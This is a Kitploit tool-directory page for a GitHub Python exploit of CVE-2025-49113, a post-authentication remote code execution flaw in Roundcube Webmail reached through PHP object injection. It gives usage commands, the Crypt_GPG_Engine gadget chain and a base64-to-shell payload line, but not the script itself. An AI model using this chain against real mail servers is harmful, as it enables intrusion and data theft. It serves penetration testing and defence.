Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49113 β€” πŸ’₯ Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection | Kitploit
Tools/GitHubGitHub/00xcanelo/cve-2025-49113
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHub00xcanelo/cve-2025-49113

CVE-2025-49113

πŸ’₯ Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection

View Repository
86561 year agoNot yet reviewed
Share

CVE-2025-49113 – Roundcube Webmail RCE Exploit (Python PoC)

CVE ID: CVE-2025-49113
Exploit Type: Remote Code Execution (via PHP Object Injection)
Application: Roundcube Webmail ≀ 1.5.9 and ≀ 1.6.10
Exploit Language: Python
Author: 00xCanelo
Status: Tested and Working on Vulnerable Roundcube Installations


πŸ“Œ Description

This exploit leverages a vulnerability in how Roundcube Webmail handles uploaded image filenames which are unserialized as PHP objects. By crafting a malicious payload that triggers a Crypt_GPG_Engine deserialization chain, remote command execution can be achieved post-authentication.

This Python PoC mimics the attack chain used by the public PHP exploit, but with cleaner logic, optional logging, and ease of usage in offensive tooling setups.


🚧 Prerequisites

  • Vulnerable Roundcube version (≀1.5.9 or ≀1.6.10)
  • Valid user credentials on Roundcube
  • Python 3.x environment
  • pip install requests

πŸš€ Exploitation Steps

python3 CVE-2025-49113.py <target_url> <username> <password> <command>

Example:

python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'

πŸ” Vulnerable Chain

The PHP class Crypt_GPG_Engine allows setting a _gpgconf field, which is then passed to shell execution.

Our payload crafts:

echo "<base64-encoded-cmd>" | base64 -d | sh

in _gpgconf, which leads to RCE upon deserialization.


πŸ’£ Sample Output

[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!

πŸ“ File Structure

.
β”œβ”€β”€ CVE-2025-49113.py     # Python PoC script
└── README.md             # This documentation

⚠️ Disclaimer

This code is for educational and authorized security testing purposes only. Any misuse of this tool is strictly prohibited. The author is not responsible for any damages caused.


🧠 References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-49113
  • https://github.com/roundcube/roundcubemail/issues/9312
  • https://huntr.dev/bounties/f8e2a8e6-d1d7-44e1-93e1-367861c97a82/
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools β†’